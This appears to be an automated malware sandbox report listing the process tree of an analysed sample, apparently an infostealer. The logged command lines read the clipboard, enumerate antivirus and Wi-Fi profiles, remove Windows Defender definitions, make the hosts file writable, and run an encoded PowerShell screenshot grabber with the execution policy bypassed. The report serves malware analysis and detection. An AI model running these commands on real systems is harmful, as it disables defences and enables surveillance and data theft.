Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff606630000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff6c9a10000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff606630000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	02:41:57
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2188, Parent PID: 4248

General

Target ID:	48
Start time:	02:41:57
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	02:41:57
Start date:	13/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff606630000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	02:41:57
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff60a240000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff738e70000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff6b9740000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff7a7a80000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8108, Parent PID: 3444

General

Target ID:	61
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	02:41:58
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff738e70000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Imagebase:	0x7ff734040000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7328, Parent PID: 8052

General

Target ID:	70
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff738e70000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	02:41:59
Start date:	13/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff7a5370000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	02:42:00
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	02:42:00
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	02:42:00
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	02:42:00
Start date:	13/12/2024
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff6ec4f0000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

